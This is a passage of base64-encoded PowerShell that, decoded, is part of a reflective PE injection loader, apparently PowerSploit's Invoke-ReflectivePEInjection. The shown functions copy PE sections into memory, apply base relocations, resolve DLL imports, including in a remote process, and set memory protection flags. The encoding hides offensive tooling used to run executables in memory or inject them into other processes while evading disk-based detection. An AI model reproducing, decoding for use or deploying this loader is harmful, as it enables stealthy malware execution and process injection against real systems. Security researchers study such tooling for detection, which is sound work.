Q29weSIgLVBFSW5mbyAkUEVJbmZvIC1TdGFydEFkZHJlc3MgJFNlY3Rpb25EZXN0QWRkciAtU2l6
ZSAkU2l6ZU9mUmF3RGF0YSB8IE91dC1OdWxsCgkJCQlbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNl
cnZpY2VzLk1hcnNoYWxdOjpDb3B5KCRQRUJ5dGVzLCBbSW50MzJdJFNlY3Rpb25IZWFkZXIuUG9p
bnRlclRvUmF3RGF0YSwgJFNlY3Rpb25EZXN0QWRkciwgJFNpemVPZlJhd0RhdGEpCgkJCX0KCQkK
CgkJCWlmICgkU2VjdGlvbkhlYWRlci5TaXplT2ZSYXdEYXRhIC1sdCAkU2VjdGlvbkhlYWRlci5W
aXJ0dWFsU2l6ZSkKCQkJewoJCQkJJERpZmZlcmVuY2UgPSAkU2VjdGlvbkhlYWRlci5WaXJ0dWFs
U2l6ZSAtICRTaXplT2ZSYXdEYXRhCgkJCQlbSW50UHRyXSRTdGFydEFkZHJlc3MgPSBbSW50UHRy
XShBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAoW0ludDY0XSRTZWN0aW9uRGVzdEFkZHIpIChbSW50
NjRdJFNpemVPZlJhd0RhdGEpKQoJCQkJVGVzdC1NZW1vcnlSYW5nZVZhbGlkIC1EZWJ1Z1N0cmlu
ZyAiQ29weS1TZWN0aW9uczo6TWVtc2V0IiAtUEVJbmZvICRQRUluZm8gLVN0YXJ0QWRkcmVzcyAk
U3RhcnRBZGRyZXNzIC1TaXplICREaWZmZXJlbmNlIHwgT3V0LU51bGwKCQkJCSRXaW4zMkZ1bmN0
aW9ucy5tZW1zZXQuSW52b2tlKCRTdGFydEFkZHJlc3MsIDAsIFtJbnRQdHJdJERpZmZlcmVuY2Up
IHwgT3V0LU51bGwKCQkJfQoJCX0KCX0KCgoJRnVuY3Rpb24gVXBkYXRlLU1lbW9yeUFkZHJlc3Nl
cwoJewoJCVBhcmFtKAoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAwLCBNYW5kYXRvcnkgPSAkdHJ1
ZSldCgkJW1N5c3RlbS5PYmplY3RdCgkJJFBFSW5mbywKCQkKCQlbUGFyYW1ldGVyKFBvc2l0aW9u
ID0gMSwgTWFuZGF0b3J5ID0gJHRydWUpXQoJCVtJbnQ2NF0KCQkkT3JpZ2luYWxJbWFnZUJhc2Us
CgkJCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDIsIE1hbmRhdG9yeSA9ICR0cnVlKV0KCQlbU3lz
dGVtLk9iamVjdF0KCQkkV2luMzJDb25zdGFudHMsCgkJCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9
IDMsIE1hbmRhdG9yeSA9ICR0cnVlKV0KCQlbU3lzdGVtLk9iamVjdF0KCQkkV2luMzJUeXBlcwoJ
CSkKCQkKCQlbSW50NjRdJEJhc2VEaWZmZXJlbmNlID0gMAoJCSRBZGREaWZmZXJlbmNlID0gJHRy
dWUgI1RyYWNrIGlmIHRoZSBkaWZmZXJlbmNlIHZhcmlhYmxlIHNob3VsZCBiZSBhZGRlZCBvciBz
dWJ0cmFjdGVkIGZyb20gdmFyaWFibGVzCgkJW1VJbnQzMl0kSW1hZ2VCYXNlUmVsb2NTaXplID0g
W1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U2l6ZU9mKFtUeXBlXSRX
aW4zMlR5cGVzLklNQUdFX0JBU0VfUkVMT0NBVElPTikKCQkKCgkJaWYgKCgkT3JpZ2luYWxJbWFn
ZUJhc2UgLWVxIFtJbnQ2NF0kUEVJbmZvLkVmZmVjdGl2ZVBFSGFuZGxlKSBgCgkJCQktb3IgKCRQ
RUluZm8uSU1BR0VfTlRfSEVBREVSUy5PcHRpb25hbEhlYWRlci5CYXNlUmVsb2NhdGlvblRhYmxl
LlNpemUgLWVxIDApKQoJCXsKCQkJcmV0dXJuCgkJfQoKCgkJZWxzZWlmICgoQ29tcGFyZS1WYWwx
R3JlYXRlclRoYW5WYWwyQXNVSW50ICgkT3JpZ2luYWxJbWFnZUJhc2UpICgkUEVJbmZvLkVmZmVj
dGl2ZVBFSGFuZGxlKSkgLWVxICR0cnVlKQoJCXsKCQkJJEJhc2VEaWZmZXJlbmNlID0gU3ViLVNp
Z25lZEludEFzVW5zaWduZWQgKCRPcmlnaW5hbEltYWdlQmFzZSkgKCRQRUluZm8uRWZmZWN0aXZl
UEVIYW5kbGUpCgkJCSRBZGREaWZmZXJlbmNlID0gJGZhbHNlCgkJfQoJCWVsc2VpZiAoKENvbXBh
cmUtVmFsMUdyZWF0ZXJUaGFuVmFsMkFzVUludCAoJFBFSW5mby5FZmZlY3RpdmVQRUhhbmRsZSkg
KCRPcmlnaW5hbEltYWdlQmFzZSkpIC1lcSAkdHJ1ZSkKCQl7CgkJCSRCYXNlRGlmZmVyZW5jZSA9
IFN1Yi1TaWduZWRJbnRBc1Vuc2lnbmVkICgkUEVJbmZvLkVmZmVjdGl2ZVBFSGFuZGxlKSAoJE9y
aWdpbmFsSW1hZ2VCYXNlKQoJCX0KCQkKCgkJW0ludFB0cl0kQmFzZVJlbG9jUHRyID0gW0ludFB0
cl0oQWRkLVNpZ25lZEludEFzVW5zaWduZWQgKFtJbnQ2NF0kUEVJbmZvLlBFSGFuZGxlKSAoW0lu
dDY0XSRQRUluZm8uSU1BR0VfTlRfSEVBREVSUy5PcHRpb25hbEhlYWRlci5CYXNlUmVsb2NhdGlv
blRhYmxlLlZpcnR1YWxBZGRyZXNzKSkKCQl3aGlsZSgkdHJ1ZSkKCQl7CgoJCQkkQmFzZVJlbG9j
YXRpb25UYWJsZSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlB0
clRvU3RydWN0dXJlKCRCYXNlUmVsb2NQdHIsIFtUeXBlXSRXaW4zMlR5cGVzLklNQUdFX0JBU0Vf
UkVMT0NBVElPTikKCgkJCWlmICgkQmFzZVJlbG9jYXRpb25UYWJsZS5TaXplT2ZCbG9jayAtZXEg
MCkKCQkJewoJCQkJYnJlYWsKCQkJfQoKCQkJW0ludFB0cl0kTWVtQWRkckJhc2UgPSBbSW50UHRy
XShBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAoW0ludDY0XSRQRUluZm8uUEVIYW5kbGUpIChbSW50
NjRdJEJhc2VSZWxvY2F0aW9uVGFibGUuVmlydHVhbEFkZHJlc3MpKQoJCQkkTnVtUmVsb2NhdGlv
bnMgPSAoJEJhc2VSZWxvY2F0aW9uVGFibGUuU2l6ZU9mQmxvY2sgLSAkSW1hZ2VCYXNlUmVsb2NT
aXplKSAvIDIKCgoJCQlmb3IoJGkgPSAwOyAkaSAtbHQgJE51bVJlbG9jYXRpb25zOyAkaSsrKQoJ
CQl7CgoJCQkJJFJlbG9jYXRpb25JbmZvUHRyID0gW0ludFB0cl0oQWRkLVNpZ25lZEludEFzVW5z
aWduZWQgKFtJbnRQdHJdJEJhc2VSZWxvY1B0cikgKFtJbnQ2NF0kSW1hZ2VCYXNlUmVsb2NTaXpl
ICsgKDIgKiAkaSkpKQoJCQkJW1VJbnQxNl0kUmVsb2NhdGlvbkluZm8gPSBbU3lzdGVtLlJ1bnRp
bWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpQdHJUb1N0cnVjdHVyZSgkUmVsb2NhdGlvbklu
Zm9QdHIsIFtUeXBlXVtVSW50MTZdKQoKCgkJCQlbVUludDE2XSRSZWxvY09mZnNldCA9ICRSZWxv
Y2F0aW9uSW5mbyAtYmFuZCAweDBGRkYKCQkJCVtVSW50MTZdJFJlbG9jVHlwZSA9ICRSZWxvY2F0
aW9uSW5mbyAtYmFuZCAweEYwMDAKCQkJCWZvciAoJGogPSAwOyAkaiAtbHQgMTI7ICRqKyspCgkJ
CQl7CgkJCQkJJFJlbG9jVHlwZSA9IFtNYXRoXTo6Rmxvb3IoJFJlbG9jVHlwZSAvIDIpCgkJCQl9
CgoKCgoJCQkJaWYgKCgkUmVsb2NUeXBlIC1lcSAkV2luMzJDb25zdGFudHMuSU1BR0VfUkVMX0JB
U0VEX0hJR0hMT1cpIGAKCQkJCQkJLW9yICgkUmVsb2NUeXBlIC1lcSAkV2luMzJDb25zdGFudHMu
SU1BR0VfUkVMX0JBU0VEX0RJUjY0KSkKCQkJCXsJCQkKCgkJCQkJW0ludFB0cl0kRmluYWxBZGRy
ID0gW0ludFB0cl0oQWRkLVNpZ25lZEludEFzVW5zaWduZWQgKFtJbnQ2NF0kTWVtQWRkckJhc2Up
IChbSW50NjRdJFJlbG9jT2Zmc2V0KSkKCQkJCQlbSW50UHRyXSRDdXJyQWRkciA9IFtTeXN0ZW0u
UnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlB0clRvU3RydWN0dXJlKCRGaW5hbEFk
ZHIsIFtUeXBlXVtJbnRQdHJdKQoJCQoJCQkJCWlmICgkQWRkRGlmZmVyZW5jZSAtZXEgJHRydWUp
CgkJCQkJewoJCQkJCQlbSW50UHRyXSRDdXJyQWRkciA9IFtJbnRQdHJdKEFkZC1TaWduZWRJbnRB
c1Vuc2lnbmVkIChbSW50NjRdJEN1cnJBZGRyKSAoJEJhc2VEaWZmZXJlbmNlKSkKCQkJCQl9CgkJ
CQkJZWxzZQoJCQkJCXsKCQkJCQkJW0ludFB0cl0kQ3VyckFkZHIgPSBbSW50UHRyXShTdWItU2ln
bmVkSW50QXNVbnNpZ25lZCAoW0ludDY0XSRDdXJyQWRkcikgKCRCYXNlRGlmZmVyZW5jZSkpCgkJ
CQkJfQkJCQkKCgkJCQkJW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6
U3RydWN0dXJlVG9QdHIoJEN1cnJBZGRyLCAkRmluYWxBZGRyLCAkZmFsc2UpIHwgT3V0LU51bGwK
CQkJCX0KCQkJCWVsc2VpZiAoJFJlbG9jVHlwZSAtbmUgJFdpbjMyQ29uc3RhbnRzLklNQUdFX1JF
TF9CQVNFRF9BQlNPTFVURSkKCQkJCXsKCgkJCQkJVGhyb3cgIlVua25vd24gcmVsb2NhdGlvbiBm
b3VuZCwgcmVsb2NhdGlvbiB2YWx1ZTogJFJlbG9jVHlwZSwgcmVsb2NhdGlvbmluZm86ICRSZWxv
Y2F0aW9uSW5mbyIKCQkJCX0KCQkJfQoJCQkKCQkJJEJhc2VSZWxvY1B0ciA9IFtJbnRQdHJdKEFk
ZC1TaWduZWRJbnRBc1Vuc2lnbmVkIChbSW50NjRdJEJhc2VSZWxvY1B0cikgKFtJbnQ2NF0kQmFz
ZVJlbG9jYXRpb25UYWJsZS5TaXplT2ZCbG9jaykpCgkJfQoJfQoKCglGdW5jdGlvbiBJbXBvcnQt
RGxsSW1wb3J0cwoJewoJCVBhcmFtKAoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAwLCBNYW5kYXRv
cnkgPSAkdHJ1ZSldCgkJW1N5c3RlbS5PYmplY3RdCgkJJFBFSW5mbywKCQkKCQlbUGFyYW1ldGVy
KFBvc2l0aW9uID0gMSwgTWFuZGF0b3J5ID0gJHRydWUpXQoJCVtTeXN0ZW0uT2JqZWN0XQoJCSRX
aW4zMkZ1bmN0aW9ucywKCQkKCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMiwgTWFuZGF0b3J5ID0g
JHRydWUpXQoJCVtTeXN0ZW0uT2JqZWN0XQoJCSRXaW4zMlR5cGVzLAoJCQoJCVtQYXJhbWV0ZXIo
UG9zaXRpb24gPSAzLCBNYW5kYXRvcnkgPSAkdHJ1ZSldCgkJW1N5c3RlbS5PYmplY3RdCgkJJFdp
bjMyQ29uc3RhbnRzLAoJCQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSA0LCBNYW5kYXRvcnkgPSAk
ZmFsc2UpXQoJCVtJbnRQdHJdCgkJJFJlbW90ZVByb2NIYW5kbGUKCQkpCgkJCgkJJFJlbW90ZUxv
YWRpbmcgPSAkZmFsc2UKCQlpZiAoJFBFSW5mby5QRUhhbmRsZSAtbmUgJFBFSW5mby5FZmZlY3Rp
dmVQRUhhbmRsZSkKCQl7CgkJCSRSZW1vdGVMb2FkaW5nID0gJHRydWUKCQl9CgkJCgkJaWYgKCRQ
RUluZm8uSU1BR0VfTlRfSEVBREVSUy5PcHRpb25hbEhlYWRlci5JbXBvcnRUYWJsZS5TaXplIC1n
dCAwKQoJCXsKCQkJW0ludFB0cl0kSW1wb3J0RGVzY3JpcHRvclB0ciA9IEFkZC1TaWduZWRJbnRB
c1Vuc2lnbmVkIChbSW50NjRdJFBFSW5mby5QRUhhbmRsZSkgKFtJbnQ2NF0kUEVJbmZvLklNQUdF
X05UX0hFQURFUlMuT3B0aW9uYWxIZWFkZXIuSW1wb3J0VGFibGUuVmlydHVhbEFkZHJlc3MpCgkJ
CQoJCQl3aGlsZSAoJHRydWUpCgkJCXsKCQkJCSRJbXBvcnREZXNjcmlwdG9yID0gW1N5c3RlbS5S
dW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6UHRyVG9TdHJ1Y3R1cmUoJEltcG9ydERl
c2NyaXB0b3JQdHIsIFtUeXBlXSRXaW4zMlR5cGVzLklNQUdFX0lNUE9SVF9ERVNDUklQVE9SKQoJ
CQkJCgoJCQkJaWYgKCRJbXBvcnREZXNjcmlwdG9yLkNoYXJhY3RlcmlzdGljcyAtZXEgMCBgCgkJ
CQkJCS1hbmQgJEltcG9ydERlc2NyaXB0b3IuRmlyc3RUaHVuayAtZXEgMCBgCgkJCQkJCS1hbmQg
JEltcG9ydERlc2NyaXB0b3IuRm9yd2FyZGVyQ2hhaW4gLWVxIDAgYAoJCQkJCQktYW5kICRJbXBv
cnREZXNjcmlwdG9yLk5hbWUgLWVxIDAgYAoJCQkJCQktYW5kICRJbXBvcnREZXNjcmlwdG9yLlRp
bWVEYXRlU3RhbXAgLWVxIDApCgkJCQl7CgkJCQkJV3JpdGUtVmVyYm9zZSAiRG9uZSBpbXBvcnRp
bmcgRExMIGltcG9ydHMiCgkJCQkJYnJlYWsKCQkJCX0KCgkJCQkkSW1wb3J0RGxsSGFuZGxlID0g
W0ludFB0cl06Olplcm8KCQkJCSRJbXBvcnREbGxQYXRoUHRyID0gKEFkZC1TaWduZWRJbnRBc1Vu
c2lnbmVkIChbSW50NjRdJFBFSW5mby5QRUhhbmRsZSkgKFtJbnQ2NF0kSW1wb3J0RGVzY3JpcHRv
ci5OYW1lKSkKCQkJCSRJbXBvcnREbGxQYXRoID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2
aWNlcy5NYXJzaGFsXTo6UHRyVG9TdHJpbmdBbnNpKCRJbXBvcnREbGxQYXRoUHRyKQoJCQkJCgkJ
CQlpZiAoJFJlbW90ZUxvYWRpbmcgLWVxICR0cnVlKQoJCQkJewoJCQkJCSRJbXBvcnREbGxIYW5k
bGUgPSBJbXBvcnQtRGxsSW5SZW1vdGVQcm9jZXNzIC1SZW1vdGVQcm9jSGFuZGxlICRSZW1vdGVQ
cm9jSGFuZGxlIC1JbXBvcnREbGxQYXRoUHRyICRJbXBvcnREbGxQYXRoUHRyCgkJCQl9CgkJCQll
bHNlCgkJCQl7CgkJCQkJJEltcG9ydERsbEhhbmRsZSA9ICRXaW4zMkZ1bmN0aW9ucy5Mb2FkTGli
cmFyeS5JbnZva2UoJEltcG9ydERsbFBhdGgpCgkJCQl9CgoJCQkJaWYgKCgkSW1wb3J0RGxsSGFu
ZGxlIC1lcSAkbnVsbCkgLW9yICgkSW1wb3J0RGxsSGFuZGxlIC1lcSBbSW50UHRyXTo6WmVybykp
CgkJCQl7CgkJCQkJdGhyb3cgIkVycm9yIGltcG9ydGluZyBETEwsIERMTE5hbWU6ICRJbXBvcnRE
bGxQYXRoIgoJCQkJfQoJCQkJCgoJCQkJW0ludFB0cl0kVGh1bmtSZWYgPSBBZGQtU2lnbmVkSW50
QXNVbnNpZ25lZCAoJFBFSW5mby5QRUhhbmRsZSkgKCRJbXBvcnREZXNjcmlwdG9yLkZpcnN0VGh1
bmspCgkJCQlbSW50UHRyXSRPcmlnaW5hbFRodW5rUmVmID0gQWRkLVNpZ25lZEludEFzVW5zaWdu
ZWQgKCRQRUluZm8uUEVIYW5kbGUpICgkSW1wb3J0RGVzY3JpcHRvci5DaGFyYWN0ZXJpc3RpY3Mp
ICNDaGFyYWN0ZXJpc3RpY3MgaXMgb3ZlcmxvYWRlZCB3aXRoIE9yaWdpbmFsRmlyc3RUaHVuawoJ
CQkJW0ludFB0cl0kT3JpZ2luYWxUaHVua1JlZlZhbCA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9w
U2VydmljZXMuTWFyc2hhbF06OlB0clRvU3RydWN0dXJlKCRPcmlnaW5hbFRodW5rUmVmLCBbVHlw
ZV1bSW50UHRyXSkKCQkJCQoJCQkJd2hpbGUgKCRPcmlnaW5hbFRodW5rUmVmVmFsIC1uZSBbSW50
UHRyXTo6WmVybykKCQkJCXsKCQkJCQkkUHJvY2VkdXJlTmFtZSA9ICcnCgoKCgkJCQkJW0ludFB0
cl0kTmV3VGh1bmtSZWYgPSBbSW50UHRyXTo6WmVybwoJCQkJCWlmKFtJbnQ2NF0kT3JpZ2luYWxU
aHVua1JlZlZhbCAtbHQgMCkKCQkJCQl7CgkJCQkJCSRQcm9jZWR1cmVOYW1lID0gW0ludDY0XSRP
cmlnaW5hbFRodW5rUmVmVmFsIC1iYW5kIDB4ZmZmZiAjVGhpcyBpcyBhY3R1YWxseSBhIGxvb2t1
cCBieSBvcmRpbmFsCgkJCQkJfQoJCQkJCWVsc2UKCQkJCQl7CgkJCQkJCVtJbnRQdHJdJFN0cmlu
Z0FkZHIgPSBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAoJFBFSW5mby5QRUhhbmRsZSkgKCRPcmln
aW5hbFRodW5rUmVmVmFsKQoJCQkJCQkkU3RyaW5nQWRkciA9IEFkZC1TaWduZWRJbnRBc1Vuc2ln
bmVkICRTdHJpbmdBZGRyIChbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxd
OjpTaXplT2YoW1R5cGVdW1VJbnQxNl0pKQoJCQkJCQkkUHJvY2VkdXJlTmFtZSA9IFtTeXN0ZW0u
UnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlB0clRvU3RyaW5nQW5zaSgkU3RyaW5n
QWRkcikKCQkJCQl9CgkJCQkJCgkJCQkJaWYgKCRSZW1vdGVMb2FkaW5nIC1lcSAkdHJ1ZSkKCQkJ
CQl7CgkJCQkJCVtJbnRQdHJdJE5ld1RodW5rUmVmID0gR2V0LVJlbW90ZVByb2NBZGRyZXNzIC1S
ZW1vdGVQcm9jSGFuZGxlICRSZW1vdGVQcm9jSGFuZGxlIC1SZW1vdGVEbGxIYW5kbGUgJEltcG9y
dERsbEhhbmRsZSAtRnVuY3Rpb25OYW1lICRQcm9jZWR1cmVOYW1lCgkJCQkJfQoJCQkJCWVsc2UK
CQkJCQl7CgkJCQkJCWlmKCRQcm9jZWR1cmVOYW1lIC1pcyBbc3RyaW5nXSkKCQkJCQkJewoJCQkJ
CQkgICAgW0ludFB0cl0kTmV3VGh1bmtSZWYgPSAkV2luMzJGdW5jdGlvbnMuR2V0UHJvY0FkZHJl
c3MuSW52b2tlKCRJbXBvcnREbGxIYW5kbGUsICRQcm9jZWR1cmVOYW1lKQoJCQkJCQl9CgkJCQkJ
CWVsc2UKCQkJCQkJewoJCQkJCQkgICAgW0ludFB0cl0kTmV3VGh1bmtSZWYgPSAkV2luMzJGdW5j
dGlvbnMuR2V0UHJvY0FkZHJlc3NPcmRpbmFsLkludm9rZSgkSW1wb3J0RGxsSGFuZGxlLCAkUHJv
Y2VkdXJlTmFtZSkKCQkJCQkJfQoJCQkJCX0KCQkJCQkKCQkJCQlpZiAoJE5ld1RodW5rUmVmIC1l
cSAkbnVsbCAtb3IgJE5ld1RodW5rUmVmIC1lcSBbSW50UHRyXTo6WmVybykKCQkJCQl7CgkJCQkJ
CVRocm93ICJOZXcgZnVuY3Rpb24gcmVmZXJlbmNlIGlzIG51bGwsIHRoaXMgaXMgYWxtb3N0IGNl
cnRhaW5seSBhIGJ1ZyBpbiB0aGlzIHNjcmlwdC4gRnVuY3Rpb246ICRQcm9jZWR1cmVOYW1lLiBE
bGw6ICRJbXBvcnREbGxQYXRoIgoJCQkJCX0KCgkJCQkJW1N5c3RlbS5SdW50aW1lLkludGVyb3BT
ZXJ2aWNlcy5NYXJzaGFsXTo6U3RydWN0dXJlVG9QdHIoJE5ld1RodW5rUmVmLCAkVGh1bmtSZWYs
ICRmYWxzZSkKCQkJCQkKCQkJCQkkVGh1bmtSZWYgPSBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAo
W0ludDY0XSRUaHVua1JlZikgKFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hh
bF06OlNpemVPZihbVHlwZV1bSW50UHRyXSkpCgkJCQkJW0ludFB0cl0kT3JpZ2luYWxUaHVua1Jl
ZiA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkIChbSW50NjRdJE9yaWdpbmFsVGh1bmtSZWYpIChb
U3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTaXplT2YoW1R5cGVdW0lu
dFB0cl0pKQoJCQkJCVtJbnRQdHJdJE9yaWdpbmFsVGh1bmtSZWZWYWwgPSBbU3lzdGVtLlJ1bnRp
bWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpQdHJUb1N0cnVjdHVyZSgkT3JpZ2luYWxUaHVu
a1JlZiwgW1R5cGVdW0ludFB0cl0pCgkJCQl9CgkJCQkKCQkJCSRJbXBvcnREZXNjcmlwdG9yUHRy
ID0gQWRkLVNpZ25lZEludEFzVW5zaWduZWQgKCRJbXBvcnREZXNjcmlwdG9yUHRyKSAoW1N5c3Rl
bS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U2l6ZU9mKFtUeXBlXSRXaW4zMlR5
cGVzLklNQUdFX0lNUE9SVF9ERVNDUklQVE9SKSkKCQkJfQoJCX0KCX0KCglGdW5jdGlvbiBHZXQt
VmlydHVhbFByb3RlY3RWYWx1ZQoJewoJCVBhcmFtKAoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAw
LCBNYW5kYXRvcnkgPSAkdHJ1ZSldCgkJW1VJbnQzMl0KCQkkU2VjdGlvbkNoYXJhY3RlcmlzdGlj
cwoJCSkKCQkKCQkkUHJvdGVjdGlvbkZsYWcgPSAweDAKCQlpZiAoKCRTZWN0aW9uQ2hhcmFjdGVy
aXN0aWNzIC1iYW5kICRXaW4zMkNvbnN0YW50cy5JTUFHRV9TQ05fTUVNX0VYRUNVVEUpIC1ndCAw
KQoJCXsKCQkJaWYgKCgkU2VjdGlvbkNoYXJhY3RlcmlzdGljcyAtYmFuZCAkV2luMzJDb25zdGFu
dHMuSU1BR0VfU0NOX01FTV9SRUFEKSAtZ3QgMCkKCQkJewoJCQkJaWYgKCgkU2VjdGlvbkNoYXJh
Y3RlcmlzdGljcyAtYmFuZCAkV2luMzJDb25zdGFudHMuSU1BR0VfU0NOX01FTV9XUklURSkgLWd0
IDApCgkJCQl7CgkJCQkJJFByb3RlY3Rpb25GbGFnID0gJFdpbjMyQ29uc3RhbnRzLlBBR0VfRVhF
Q1VURV9SRUFEV1JJVEUKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQkkUHJvdGVjdGlvbkZsYWcg
PSAkV2luMzJDb25zdGFudHMuUEFHRV9FWEVDVVRFX1JFQUQKCQkJCX0KCQkJfQoJCQllbHNlCgkJ
CXsKCQkJCWlmICgoJFNlY3Rpb25DaGFyYWN0ZXJpc3RpY3MgLWJhbmQgJFdpbjMyQ29uc3RhbnRz
LklNQUdFX1NDTl9NRU1fV1JJVEUpIC1ndCAwKQoJCQkJewoJCQkJCSRQcm90ZWN0aW9uRmxhZyA9
ICRXaW4zMkNvbnN0YW50cy5QQUdFX0VYRUNVVEVfV1JJVEVDT1BZCgkJCQl9CgkJCQllbHNlCgkJ
CQl7CgkJCQkJJFByb3RlY3Rpb25GbGFnID0gJFdpbjMyQ29uc3RhbnRzLlBBR0VfRVhFQ1VURQoJ
CQkJfQoJCQl9CgkJfQoJCWVsc2UKCQl7CgkJCWlmICgoJFNlY3Rpb25DaGFyYWN0ZXJpc3RpY3Mg
LWJhbmQgJFdpbjMyQ29uc3RhbnRzLklNQUdFX1NDTl9NRU1fUkVBRCkgLWd0IDApCgkJCXsKCQkJ
CWlmICgoJFNlY3Rpb25DaGFyYWN0ZXJpc3RpY3MgLWJhbmQgJFdpbjMyQ29uc3RhbnRzLklNQUdF
X1NDTl9NRU1fV1JJVEUpIC1ndCAwKQoJCQkJewoJCQkJCSRQcm90ZWN0aW9uRmxhZyA9ICRXaW4z
MkNvbnN0YW50cy5QQUdFX1JFQURXUklURQoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCSRQcm90
ZWN0aW9uRmxhZyA9ICRXaW4zMkNvbnN0YW50cy5QQUdFX1JFQURPTkxZCgkJCQl9CgkJCX0KCQkJ
ZWxzZQoJCQl7CgkJCQlpZiAoKCRTZWN0aW9uQ2hhcmFjdGVyaXN0aWNzIC1iYW5kICRXaW4zMkNv
bnN0YW50cy5JTUFHRV9TQ05fTUVNX1dSSVRFKSAtZ3QgMCkKCQkJCXsKCQkJCQkkUHJvdGVjdGlv
bkZsYWcgPSAkV2luMzJDb25zdGFudHMuUEFHRV9XUklURUNPUFkKCQkJCX0KCQkJCWVsc2UKCQkJ
CXsKCQkJCQkkUHJvdGVjdGlvbkZsYWcgPSAkV2luMzJDb25zdGFudHMuUEFHRV9OT0FDQ0VTUwoJ
CQkJfQoJCQl9CgkJfQoJCQoJCWlmICgoJFNlY3Rpb25DaGFyYWN0ZXJpc3RpY3MgLWJhbmQgJFdp
bjMyQ29uc3RhbnRzLklNQUdFX1NDTl9NRU1fTk9UX0NBQ0hFRCkgLWd0IDApCgkJewoJCQkkUHJv
dGVjdGlvbkZsYWcgPSAkUHJvdGVjdGlvbkZsYWcgLWJvciAkV2luMzJDb25zdGFudHMuUEFHRV9O
T0NBQ0hFCgkJfQoJCQoJCXJldHVybiAkUHJvdGVjdGlvbkZsYWcKCX0KCglGdW5jdGlvbiBVcGRh
dGUtTWVtb3J5UHJvdGVjdGlvbkZsYWdzCgl7CgkJUGFyYW0oCgkJW1BhcmFtZXRlcihQb3NpdGlv
biA9IDAsIE1hbmRhdG9yeSA9ICR0cnVlKV0KCQlbU3lzdGVtLk9iamVjdF0KCQkkUEVJbmZvLAoJ
CQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAxLCBNYW5kYXRvcnkgPSAkdHJ1ZSldCgkJW1N5c3Rl
bS5PYmplY3RdCgkJJFdpbjMyRnVuY3Rpb25zLAoJCQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAy
LCBNYW5kYXRvcnkgPSAkdHJ1ZSldCgkJW1N5c3RlbS5PYmplY3RdCgkJJFdpbjMyQ29uc3RhbnRz
LAoJCQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAzLCBNYW5kYXRvcnkgPSAkdHJ1ZSldCgkJW1N5
c3RlbS5PYmplY3RdCgkJJFdpbjMyVHlwZXMKCQkpCgkJCgkJZm9yKCAkaSA9IDA7ICRpIC1sdCAk
UEVJbmZvLklNQUdFX05UX0hFQURFUlMuRmlsZUhlYWRlci5OdW1iZXJPZlNlY3Rpb25zOyAkaSsr
KQoJCXsKCQkJW0ludFB0cl0kU2VjdGlvbkhlYWRlclB0ciA9IFtJbnRQdHJdKEFkZC1TaWduZWRJ
bnRBc1Vuc2lnbmVkIChbSW50NjRdJFBFSW5mby5TZWN0aW9uSGVhZGVyUHRyKSAoJGkgKiBbU3lz
dGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTaXplT2YoW1R5cGVdJFdpbjMy
VHlwZXMuSU1BR0VfU0VDVElPTl9IRUFERVIpKSkKCQkJJFNlY3Rpb25IZWFkZXIgPSBbU3lzdGVt
LlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpQdHJUb1N0cnVjdHVyZSgkU2VjdGlv
bkhlYWRlclB0ciwgW1R5cGVdJFdpbjMyVHlwZXMuSU1BR0VfU0VDVElPTl9IRUFERVIpCgkJCVtJ
bnRQdHJdJFNlY3Rpb25QdHIgPSBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAoJFBFSW5mby5QRUhh
bmRsZSkgKCRTZWN0aW9uSGVhZGVyLlZpcnR1YWxBZGRyZXNzKQoJCQkKCQkJW1VJbnQzMl0kUHJv
dGVjdEZsYWcgPSBHZXQtVmlydHVhbFByb3RlY3RWYWx1ZSAkU2VjdGlvbkhlYWRlci5DaGFyYWN0
ZXJpc3RpY3MKCQkJW1VJbnQzMl0kU2VjdGlvblNpemUgPSAkU2VjdGlvbkhlYWRlci5WaXJ0dWFs
U2l6ZQoJCQkKCQkJW1VJbnQzMl0kT2xkUHJvdGVjdEZsYWcgPSAwCgkJCVRlc3QtTWVtb3J5UmFu
Z2VWYWxpZCAtRGVidWdTdHJpbmcgIlVwZGF0ZS1NZW1vcnlQcm90ZWN0aW9uRmxhZ3M6OlZpcnR1
